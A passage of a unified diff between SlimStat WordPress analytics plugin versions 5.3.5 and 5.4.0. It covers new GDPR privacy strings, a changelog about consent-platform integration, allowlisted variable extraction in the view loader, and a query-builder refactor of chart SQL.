invalid request. Accepted function values include: \u003Ccode>count, count-all, recent, recent-all, top and top-all\u003C\u002Fcode>. Please review your request and try again.\"\n msgstr \"\"\n \n-#: wp-slimstat.php:1113\n+#: wp-slimstat.php:660\n msgid \"[REST API] Please use a valid token in order to access the REST API endpoint at this URL.\"\n msgstr \"\"\n \n-#: wp-slimstat.php:1130\n+#: wp-slimstat.php:683\n msgid \"You will need to specify a valid token to be able to query the data. Tokens are defined in Slimstat > Settings > Access Control.\"\n msgstr \"\"\n \n-#: wp-slimstat.php:1134\n+#: wp-slimstat.php:687\n msgid \"This parameter specifies the type of QUERY you would like to perform. Accepted funciton values include: count, count-all, recent, recent-all, top and top-all.\"\n msgstr \"\"\n \n-#: wp-slimstat.php:1139\n+#: wp-slimstat.php:692\n msgid \"This parameter indicates what dimension to return: * (all data), ip, resource, browser, operating system, etc. You can only specify one dimension at a time.\"\n msgstr \"\"\n \n-#: wp-slimstat.php:1144\n+#: wp-slimstat.php:697\n #, php-format\n msgid \"This parameter is used to filter a given dimension (resources, browsers, operating systems, etc) so that it satisfies certain conditions (i.e.: browser contains Chrome). Please make sure to urlencode this value, and to use the usual filter format: browser contains Chrome&&&referer contains slim (encoded: browser%20contains%20Chrome%26%26%26referer%20contains%20slim)\"\n msgstr \"\"\n \n-#: wp-slimstat.php:2252\n+#: wp-slimstat.php:821\n+msgid \"Decline\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1234\n+msgid \"What personal data we collect and why\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1235\n+msgid \"SlimStat Analytics collects the following data about website visitors:\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1237\n+msgid \"IP Address: Collected for analytics and security purposes. May be anonymized or hashed based on your privacy settings.\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1238\n+msgid \"Page URLs: Tracks which pages are visited to analyze website usage.\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1239\n+msgid \"Referrer Information: Tracks where visitors came from (search engines, other websites, etc.).\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1240\n+msgid \"Browser and Device Information: User agent, screen resolution, and device type for analytics.\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1241\n+msgid \"Timestamp: Date and time of each page visit.\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1244\n+msgid \"Cookies: A tracking cookie is used to identify returning visitors and maintain session continuity.\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1248\n+msgid \"User Information: If you are logged in, your username and email may be associated with your visits (only with consent when GDPR mode is enabled).\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1253\n+msgid \"How long we retain your data\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1256\n+#, php-format\n+msgid \"Analytics data is automatically deleted after %d days, in compliance with GDPR data retention requirements.\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1258\n+msgid \"Analytics data retention is currently disabled. Please contact the site administrator for information about data retention policies.\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1261\n+msgid \"Your rights\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1262\n+msgid \"Under GDPR, you have the right to:\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1264\n+msgid \"Access your personal data collected by SlimStat\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1265\n+msgid \"Request deletion of your personal data (Right to be Forgotten)\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1266\n+msgid \"Opt-out of tracking by revoking consent (if GDPR mode is enabled)\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1270\n+msgid \"You can exercise these rights by using the WordPress Privacy Tools (Tools → Export Personal Data \u002F Erase Personal Data) or by contacting the site administrator.\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1275\n+msgid \"This website uses Anonymous Tracking Mode. Initial tracking occurs without collecting personally identifiable information (PII). Full tracking with PII collection only occurs after you grant explicit consent.\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1277\n+msgid \"Tracking requires your consent when GDPR mode is enabled. You can grant or revoke consent at any time through the consent management interface.\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1458\n msgid \"Report\"\n msgstr \"\"\n \n-#: wp-slimstat.php:2260\n+#: wp-slimstat.php:1466\n msgid \"Title\"\n msgstr \"\"\n \n-#: wp-slimstat.php:2265\n+#: wp-slimstat.php:1471\n msgid \"Optional filters\"\n msgstr \"\"\n+\n+#: wp-slimstat.php:1561\n+msgid \"Invalid nonce\"\n+msgstr \"\"\n+\n+#: wp-slimstat.php:1573\n+#, php-format\n+msgid \"Slimstat cache cleared (%d items)\"\n+msgstr \"\"\n+\n+#: admin\u002Fassets\u002Fjs\u002Fadmin.js:492\n+#: admin\u002Fassets\u002Fjs\u002Fadmin.js:930\n+msgid \"Select value...\"\n+msgstr \"\"\n+\n+#: admin\u002Fassets\u002Fjs\u002Fadmin.js:493\n+msgid \"Search...\"\n+msgstr \"\"\n+\n+#: admin\u002Fassets\u002Fjs\u002Fadmin.js:494\n+msgid \"No results found\"\n+msgstr \"\"\n+\n+#: admin\u002Fassets\u002Fjs\u002Fadmin.js:495\n+msgid \"Loading...\"\n+msgstr \"\"\n+\n+#: admin\u002Fassets\u002Fjs\u002Fadmin.js:892\n+#: admin\u002Fassets\u002Fjs\u002Fadmin.js:933\n+msgid \"Loading options...\"\n+msgstr \"\"\n+\n+#: admin\u002Fassets\u002Fjs\u002Fadmin.js:921\n+msgid \"No matching options found\"\n+msgstr \"\"\n+\n+#: admin\u002Fassets\u002Fjs\u002Fadmin.js:925\n+msgid \"No data in this time range\"\n+msgstr \"\"\n+\n+#: admin\u002Fassets\u002Fjs\u002Fadmin.js:931\n+msgid \"Search options...\"\n+msgstr \"\"\n+\n+#: admin\u002Fassets\u002Fjs\u002Fadmin.js:943\n+#: admin\u002Fassets\u002Fjs\u002Fadmin.js:947\n+#: admin\u002Fassets\u002Fjs\u002Fadmin.js:952\n+msgid \"Enter value...\"\n+msgstr \"\"\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Freadme.txt \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Freadme.txt\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Freadme.txt\t2025-12-31 08:45:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Freadme.txt\t2026-03-08 13:29:08.000000000 +0000\n@@ -4,8 +4,8 @@\n Text Domain: wp-slimstat\n Requires at least: 5.6\n Requires PHP: 7.4\n-Tested up to: 6.8\n-Stable tag: 5.3.5\n+Tested up to: 6.9.1\n+Stable tag: 5.4.0\n License: GPL-2.0+\n License URI: https:\u002F\u002Fwww.gnu.org\u002Flicenses\u002Fgpl-2.0.html\n \n@@ -18,7 +18,7 @@\n * **Real-Time Access Log**: measure server latency, track page events, keep an eye on your bounce rate and much more.\n * **Shortcodes**: display reports in widgets or directly in posts and pages.\n * **Customize Reports**: Customize all pages—Real-time, Overview, Audience, Site Analysis, and Traffic Sources—to fit your needs easily!\n-* **GDPR**: fully compliant with the GDPR European law. You can test your website at [cookiebot.com](https:\u002F\u002Fwww.cookiebot.com\u002Fen\u002F).\n+* **GDPR**: fully compliant with GDPR European law. Integrates seamlessly with popular Consent Management Platforms (WP Consent API, Real Cookie Banner).\n * **Filters**: exclude users from statistics collection based on various criteria, including user roles, common robots, IP subnets, admin pages, country, etc.\n * **Export to Excel**: download your reports as CSV files, generate user heatmaps or get daily emails right in your mailbox (via Pro).\n * **Cache**: compatible with W3 Total Cache, WP SuperCache, CloudFlare and most caching plugins.\n@@ -73,6 +73,25 @@\n 9. **Settings** - Plenty of options to customize the plugin's behavior\n \n == Changelog ==\n+= 5.4.0 - 2026-03-08 =\n+- **Breaking**: Removed internal GDPR consent management system (shortcode, banner, opt-in\u002Fopt-out cookies) in favor of external CMP integrations.\n+- **New**: Integration with Consent Management Platforms (CMPs) for GDPR compliance: WP Consent API and Real Cookie Banner Pro.\n+- **New**: GDPR Compliance Mode toggle - Enable\u002Fdisable GDPR compliance requirements (default: enabled).\n+- **New**: Consent change listener that automatically resumes tracking when user grants consent via CMP.\n+- **New**: Do Not Track (DNT) header respect with configurable option in settings.\n+- **New**: WordPress Privacy Policy content registration for GDPR Article 13\u002F14 compliance.\n+- **Enhancement**: Refactored GDPR architecture - consent management fully delegated to external CMPs.\n+- **Enhancement**: Smart IP handling - automatically upgrades from anonymized\u002Fhashed IP to full IP when consent is granted.\n+- **Enhancement**: Improved JavaScript consent handling with polling-based consent state monitoring.\n+- **Enhancement**: Default data retention period set to 420 days (14 months) for GDPR compliance.\n+- **Fix**: Legacy mode now conservatively denies PII collection when GDPR enabled and no CMP configured.\n+- **Fix**: Consent revocation properly deletes tracking cookie when user opts out via banner.\n+- **Fix**: Removed legacy cookie-based opt-in\u002Fopt-out handling for cleaner, CMP-based consent flow.\n+[See full release notes](https:\u002F\u002Fwp-slimstat.com\u002Fwordpress-analytics-plugin-slimstat-5-4-release-notes\u002F?utm_source=wordpress&utm_medium=changelog&utm_campaign=changelog&utm_content=5-4-0)\n+\n+= 5.3.6 =\n+* Security: Hardened output escaping in reports\n+\n = 5.3.5 - 2025-12-31 =\n * Security: Hardened plugin security\n \n@@ -102,3 +121,28 @@\n - **Enhancement**: Compatibility with WordPress’s Interactivity API for seamless integration.\n - **Enhancement**: Added new 3 date ranges formats (Last 2 weeks, Previous month, This month).\n [See full release notes](https:\u002F\u002Fwp-slimstat.com\u002Fwordpress-analytics-plugin-slimstat-5-3-release-notes\u002F?utm_source=wordpress&utm_medium=changelog&utm_campaign=changelog&utm_content=5-3-0)\n+\n+= 5.2.13 - 2025-04-29 =\n+- **Fix**: Resolved issues with pagination in reports.\n+\n+= 5.2.12 - 2025-04-26 =\n+- **Enhancement**: Removed red color from report export boxes to reduce eye strain and improve user experience.\n+\n+= 5.2.11 - 2025-04-25 =\n+- Full release notes → [WordPress Real-time Analytics Plugin](https:\u002F\u002Fwp-slimstat.com\u002Fwordpress-analytics-plugin-slimstat-5-2-11-release-notes\u002F?utm_source=wordpress&utm_medium=changelog&utm_campaign=changelog&utm_content=5-2-11) – SlimStat 5.2.11 Release Notes\n+- **Visual Enhancement**: Improved UI with eye-catching visual elements for better user experience.\n+- **Enhancement**: Optimized SQL query to reduce the chances of errors and improve overall performance.\n+- **Enhancement**: The \"Export\" button for non-Pro users now links to the Slimstat PRO version page, improving clarity around upgrade options.\n+- **Enhancement**: Added support for the WordPress date format setting for the charts.\n+- **Fix**: Fatal error in EmailReportsAddon.php for missing `get_plugins` method.\n+- **Fix**: Prevented PHP warning by checking if 'referer' array key is set in searchterms reports view.\n+- **Fix**: Fix a database error related to the notes column.\n+- **Fix**: Prevented horizontal scrolling in the reports area and improved page loading animations by ensuring styles are applied correctly.\n+- **Fix**: Addressed several user-reported issues to enhance overall stability and user experience.\n+- **Fix**: Investigate and resolve the \"Division by zero\" fatal error in `wp-slimstat-db.php` caused by PHP version 8.2.22. Further investigation needed to determine the root cause and provide a fix.\n+\n+= 5.2.9 - 2024-11-12 =\n+- **Enhancement**: Ensured compatibility with WordPress version 6.7.\n+- **Fix**: Resolved the Top Referring Domain Issue.\n+\n+[See changelog for all versions](https:\u002F\u002Fraw.githubusercontent.com\u002Fwp-slimstat\u002Fwp-slimstat\u002Fmaster\u002FCHANGELOG.md).\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Frector.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Frector.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Frector.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Frector.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -6,8 +6,8 @@\n use Rector\\Set\\ValueObject\\LevelSetList;\n use Rector\\Set\\ValueObject\\SetList;\n \n-\u002F\u002F Project-specific Rector configuration for the Salon Pro theme.\n-\u002F\u002F Adjust PhpVersion::PHP_74 to match your actual PHP target if needed.\n+\u002F\u002F Project-specific Rector configuration for WP-SlimStat plugin.\n+\u002F\u002F Configured for PHP 7.4+ compatibility as per project requirements.\n \n return static function (RectorConfig $rectorConfig): void {\n     \u002F\u002F Paths Rector should analyze and refactor\n@@ -45,8 +45,8 @@\n         __DIR__ . '\u002Fnode_modules',\n         __DIR__ . '\u002Fphpstan-cache',\n         __DIR__ . '\u002Flanguages',\n-        __DIR__ . '\u002Frector.php',\n         __DIR__ . '\u002Fsrc\u002FDependencies',\n         __DIR__ . '\u002Fsrc\u002Fsymfony',\n+        __DIR__ . '\u002Frector.php',\n     ]);\n };\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FComponents: Ajax.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FComponents: DateRangeHelper.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FComponents: Event.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FComponents: RemoteRequest.php\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FComponents\u002FView.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FComponents\u002FView.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FComponents\u002FView.php\t2025-08-25 08:38:44.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FComponents\u002FView.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -9,11 +9,62 @@\n     exit;\n }\n \n-use SlimStat\\Exception\\SystemErrorException;\n \n class View\n {\n     \u002F**\n+     * Allowed variable names for extraction.\n+     * Only these keys will be extracted from $args to prevent variable injection.\n+     *\n+     * @var array\n+     *\u002F\n+    private static $allowed_keys = [\n+        'data',\n+        'prevData',\n+        'chartLabels',\n+        'translations',\n+        'args',\n+        'totals',\n+        'is_pro',\n+        'report_id',\n+        'settings',\n+        'options',\n+        'items',\n+        'title',\n+        'description',\n+        'content',\n+        'filters',\n+        'columns',\n+        'rows',\n+        'pagination',\n+        'chart_args',\n+        'chart_data',\n+        'chart_type',\n+        'granularity',\n+        'visitors',\n+        'pageviews',\n+        'events',\n+        'countries',\n+        'cities',\n+        'browsers',\n+        'platforms',\n+        'screen_sizes',\n+        'languages',\n+        'referrers',\n+        'search_terms',\n+        'resources',\n+        'outbound',\n+        'downloads',\n+        'notices',\n+        'message',\n+        'type',\n+        'class',\n+        'notification',\n+        'notifications',\n+        'tab',\n+    ];\n+\n+    \u002F**\n      * Load a view file and pass data to it.\n      *\n      * @param string|array $view    The view path inside views directory\n@@ -35,11 +86,18 @@\n                 $viewPath = sprintf('%s\u002Fviews\u002F%s.php', $baseDir, $view);\n \n                 if (!file_exists($viewPath)) {\n-                    throw new SystemErrorException(esc_html__('View file not found: ' . $viewPath, 'wp-slimstat'));\n+                    throw new \\Exception(esc_html__('View file not found: ' . $viewPath, 'wp-slimstat'));\n                 }\n \n-                if (!empty($args)) {\n-                    extract($args);\n+                \u002F\u002F Make $view_args available to templates (safer than extract)\n+                $view_args = $args;\n+\n+                \u002F\u002F For backward compatibility, extract only allowed keys\n+                \u002F\u002F This prevents variable injection attacks while maintaining existing functionality\n+                if (!empty($args) && is_array($args)) {\n+                    $safe_args = array_intersect_key($args, array_flip(self::$allowed_keys));\n+                    \u002F\u002F phpcs:ignore WordPress.PHP.DontExtract.extract_extract -- Intentionally limited to allowed keys only\n+                    extract($safe_args, EXTR_SKIP);\n                 }\n \n                 \u002F\u002F Return the template if requested\n@@ -52,7 +110,7 @@\n                 include $viewPath;\n             }\n         } catch (\\Exception $exception) {\n-            \\SlimStat::log($exception->getMessage(), 'error');\n+            \\wp_slimstat::log($exception->getMessage(), 'error');\n         }\n \n         return null;\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc: Controllers\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc: Decorators\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FDependencies: GeoIp2\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FDependencies: MaxMind\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FHelpers\u002FDataBuckets.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FHelpers\u002FDataBuckets.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FHelpers\u002FDataBuckets.php\t2025-09-09 12:32:56.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FHelpers\u002FDataBuckets.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -11,31 +11,31 @@\n \n class DataBuckets\n {\n-    private array $labels = [];\n+    private $labels = [];\n \n-    private array $prev_labels = [];\n+    private $prev_labels = [];\n \n-    private array $datasets = ['v1' => [], 'v2' => []];\n+    private $datasets = ['v1' => [], 'v2' => []];\n \n-    private array $datasetsPrev = ['v1' => [], 'v2' => []];\n+    private $datasetsPrev = ['v1' => [], 'v2' => []];\n \n-    private array $totals;\n+    private $totals;\n \n-    private string $labelFormat;\n+    private $labelFormat;\n \n-    private string $gran;\n+    private $gran;\n \n-    private string $tzOffset;\n+    private $tzOffset;\n \n-    private int $start;\n+    private $start;\n \n-    private int $end;\n+    private $end;\n \n-    private int $prevStart;\n+    private $prevStart;\n \n-    private int $prevEnd;\n+    private $prevEnd;\n \n-    private int $points;\n+    private $points;\n \n     public function __construct(string $labelFormat, string $gran, int $start, int $end, int $prevStart, int $prevEnd, array $totals = [])\n     {\n@@ -184,7 +184,7 @@\n             $start  = new \\DateTime('@' . $base);\n             $start  = $start->modify('first day of this month')->modify('midnight');\n             \u002F\u002F Guard against invalid\u002Fempty $dt\n-            $safeDt = is_numeric($dt) ? (int) $dt : 0;\n+            $safeDt = is_numeric($dt) ? $dt : 0;\n             $target = new \\DateTime('@' . $safeDt);\n             if ($target->getTimestamp() \u003C $start->getTimestamp()) {\n                 $offset = -1;\n@@ -233,7 +233,7 @@\n     {\n         foreach (['v1', 'v2'] as $k) {\n             if (isset($this->datasets[$k][-1])) {\n-                $newKeys            = array_map(fn ($key) => $key + 1, array_keys($this->datasets[$k]));\n+                $newKeys            = array_map(fn($key) => $key + 1, array_keys($this->datasets[$k]));\n                 $this->datasets[$k] = array_combine($newKeys, array_values($this->datasets[$k]));\n                 ksort($this->datasets[$k]);\n                 if (empty(end($this->datasets[$k]))) {\n@@ -242,7 +242,7 @@\n             }\n \n             if (isset($this->datasetsPrev[$k][-1])) {\n-                $newKeys                = array_map(fn ($key) => $key + 1, array_keys($this->datasetsPrev[$k]));\n+                $newKeys                = array_map(fn($key) => $key + 1, array_keys($this->datasetsPrev[$k]));\n                 $this->datasetsPrev[$k] = array_combine($newKeys, array_values($this->datasetsPrev[$k]));\n                 ksort($this->datasetsPrev[$k]);\n                 if (empty(end($this->datasetsPrev[$k]))) {\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc: Interfaces\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc: Migration\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FModules\u002FChart.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FModules\u002FChart.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Fsrc\u002FModules\u002FChart.php\t2025-11-24 05:41:38.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Fsrc\u002FModules\u002FChart.php\t2026-03-08 13:29:08.000000000 +0000\n@@ -11,6 +11,7 @@\n \n use SlimStat\\Components\\View;\n use SlimStat\\Helpers\\DataBuckets;\n+use SlimStat\\Utils\\Query;\n \n class Chart\n {\n@@ -20,6 +21,8 @@\n \n     private const GRANULARITIES = ['yearly', 'monthly', 'weekly', 'daily', 'hourly'];\n \n+    private const CHART_TYPES = ['line', 'bar'];\n+\n     private array $args = [];\n \n     private array $data = [];\n@@ -67,6 +70,16 @@\n             \\wp_slimstat_db::init();\n         }\n \n+        \u002F\u002F Restore filters from args if provided; validate column keys against known schema\n+        if (!empty($args['filters']) && is_array($args['filters'])) {\n+            $allowed_columns = array_keys(\\wp_slimstat_db::$columns_names);\n+            foreach ($args['filters'] as $col => $val) {\n+                if (in_array($col, $allowed_columns, true)) {\n+                    \\wp_slimstat_db::$filters_normalized['columns'][$col] = $val;\n+                }\n+            }\n+        }\n+\n         \\wp_slimstat_db::$filters_normalized['utime']['start'] = $args['start'];\n         \\wp_slimstat_db::$filters_normalized['utime']['end']   = $args['end'];\n         \\wp_slimstat_db::$filters_normalized['utime']['range'] = $args['end'] - $args['start'];\n@@ -124,14 +137,33 @@\n     private function normalizeArgs(array $args): array\n     {\n         $defaults = [\n-            'start' => \\wp_slimstat_db::$filters_normalized['utime']['start'],\n-            'end'   => \\wp_slimstat_db::$filters_normalized['utime']['end'],\n+            'start'      => \\wp_slimstat_db::$filters_normalized['utime']['start'],\n+            'end'        => \\wp_slimstat_db::$filters_normalized['utime']['end'],\n+            'chart_type' => 'line',\n         ];\n         $args = array_merge($defaults, $args);\n \n+        \u002F\u002F Validate chart type\n+        if (!in_array($args['chart_type'], self::CHART_TYPES, true)) {\n+            $args['chart_type'] = 'line';\n+        }\n+\n         $args['granularity'] = $this->detectGranularity($args);\n         $args['rangeDays']   = $this->countDays($args['start'], $args['end']);\n \n+        \u002F\u002F Preserve active filters for AJAX requests\n+        if (!isset($args['filters'])) {\n+            $args['filters'] = \\wp_slimstat_db::$filters_normalized['columns'] ?? [];\n+        }\n+\n+        \u002F\u002F Ensure chart_data is present with defaults\n+        if (!isset($args['chart_data'])) {\n+            $args['chart_data'] = [\n+                'data1' => 'COUNT( ip )',\n+                'data2' => 'COUNT( DISTINCT ip )',\n+            ];\n+        }\n+\n         return $args;\n     }\n \n@@ -151,14 +183,14 @@\n             return 'monthly';\n         }\n \n-        if ($diff > 2 * self::DAY) {\n-            return 'daily';\n-        }\n-\n         if ($diff > 7 * self::DAY) {\n             return 'weekly';\n         }\n \n+        if ($diff > 2 * self::DAY) {\n+            return 'daily';\n+        }\n+\n         return 'hourly';\n     }\n \n@@ -168,8 +200,24 @@\n \n         $prevArgs = $this->calculatePreviousArgs($args);\n         $sqlInfo  = $this->buildSql($args, $prevArgs);\n-        $results  = $wpdb->get_results($sqlInfo['sql']);\n-        $totals   = $wpdb->get_results($sqlInfo['totalsSql']);\n+\n+        \u002F\u002F Allow caching only if both current and previous ranges end before today\n+        $todayStart     = strtotime(date('Y-m-d 00:00:00'));\n+        $canCacheRanges = ($args['end'] \u003C $todayStart && $prevArgs['end'] \u003C $todayStart);\n+\n+        $rowsQuery   = $sqlInfo['query'];\n+        $totalsQuery = $sqlInfo['totalsQuery'];\n+\n+        if ($rowsQuery instanceof Query) {\n+            $rowsQuery->allowCaching($canCacheRanges, DAY_IN_SECONDS);\n+        }\n+\n+        if ($totalsQuery instanceof Query) {\n+            $totalsQuery->allowCaching($canCacheRanges, DAY_IN_SECONDS);\n+        }\n+\n+        $results = $rowsQuery instanceof Query ? $rowsQuery->getAll() : [];\n+        $totals  = $totalsQuery instanceof Query ? $totalsQuery->getAll() : [];\n \n         return $this->processResults(\n             $results,\n@@ -241,7 +289,17 @@\n         $prevStart = absint($prevArgs['start']);\n         $prevEnd = absint($prevArgs['end']);\n \n-        $totalOffsetSeconds = (int) $wpdb->get_var('SELECT TIMESTAMPDIFF(SECOND, UTC_TIMESTAMP(), NOW())');\n+        \u002F\u002F Build WHERE clause from active filters (excluding time filters)\n+        $filterWhere = $this->buildFilterWhere();\n+\n+        \u002F\u002F Add chart-specific WHERE clause if provided\n+        if (!empty($args['chart_data']['where'])) {\n+            $chartWhere = $args['chart_data']['where'];\n+            $filterWhere = !empty($filterWhere) ? $filterWhere . ' AND ' . $chartWhere : $chartWhere;\n+        }\n+\n+        \u002F\u002F Use UNIX_TIMESTAMP difference for broad MySQL 5.0.x compatibility\n+        $totalOffsetSeconds = (int) $wpdb->get_var('SELECT UNIX_TIMESTAMP(NOW()) - UNIX_TIMESTAMP(UTC_TIMESTAMP())');\n         $sign               = ($totalOffsetSeconds \u003C 0) ? '+' : '-';\n         $abs                = abs($totalOffsetSeconds);\n         $h                  = floor($abs \u002F 3600);\n@@ -278,62 +336,99 @@\n             'YEAR'  => ['label' => 'Y'],\n         ];\n \n-        \u002F\u002F Note: $data1 and $data2 are already validated and safe\n-        \u002F\u002F All timestamps are sanitized as integers\n-        \u002F\u002F Table prefix comes from WordPress (safe)\n-        \u002F\u002F $tzOffset is calculated from DB query and formatted (safe)\n-        \n-        $sql = \"\n-            SELECT\n-                grouped_date AS dt,\n-                v1,\n-                v2,\n-                period\n-            FROM (\n-                SELECT\n-                    MIN(dt) AS dt,\n-                    {$data1} AS v1,\n-                    {$data2} AS v2,\n-                    CASE\n-                        WHEN dt BETWEEN {$start} AND {$end} THEN 'current'\n-                        ELSE 'previous'\n-                    END AS period,\n-                    {$dtExpr} AS grouped_date\n-                FROM {$wpdb->prefix}slim_stats\n-                WHERE dt BETWEEN {$prevStart} AND {$prevEnd}\n-                OR dt BETWEEN {$start} AND {$end}\n-                GROUP BY grouped_date, period\n-            ) AS grouped_data\n-            ORDER BY dt, period\n-        \";\n-\n-        \u002F\u002F Total V1 and V2\n-        $totalsSql = \"\n-            SELECT\n-                {$data1} AS v1,\n-                {$data2} AS v2,\n-                CASE\n-                    WHEN dt BETWEEN {$start} AND {$end} THEN 'current'\n-                    ELSE 'previous'\n-                END AS period\n-            FROM {$wpdb->prefix}slim_stats\n-            WHERE CONVERT_TZ(FROM_UNIXTIME(dt), '+00:00', '{$tzOffset}') BETWEEN FROM_UNIXTIME({$prevStart}) AND FROM_UNIXTIME({$prevEnd})\n-            OR CONVERT_TZ(FROM_UNIXTIME(dt), '+00:00', '{$tzOffset}') BETWEEN FROM_UNIXTIME({$start}) AND FROM_UNIXTIME({$end})\n-            GROUP BY period\n-            ORDER BY period\n-        \";\n+        \u002F\u002F Build main grouped query via Query builder\n+        $fields = implode(\",\\n                \", [\n+            $dtExpr . ' AS dt',\n+            'MIN(dt) AS sort_dt',\n+            $data1 . ' AS v1',\n+            $data2 . ' AS v2',\n+            sprintf(\"CASE WHEN dt BETWEEN %s AND %s THEN 'current' ELSE 'previous' END AS period\", $start, $end),\n+        ]);\n+\n+        \u002F\u002F Wrap the OR time ranges in an extra pair of parentheses so subsequent\n+        \u002F\u002F AND filters are applied to the whole time expression instead of\n+        \u002F\u002F binding tighter to only the latter OR clause.\n+        $rowsQuery = Query::select($fields)\n+            ->from($wpdb->prefix . 'slim_stats')\n+            ->whereRaw('((dt BETWEEN %d AND %d) OR (dt BETWEEN %d AND %d))', [$prevArgs['start'], $prevArgs['end'], $start, $end]);\n+\n+        \u002F\u002F Apply additional filters if any\n+        if (!empty($filterWhere)) {\n+            $rowsQuery->whereRaw($filterWhere);\n+        }\n+\n+        $rowsQuery->groupBy($dtExpr . ', period')\n+            ->orderBy('sort_dt 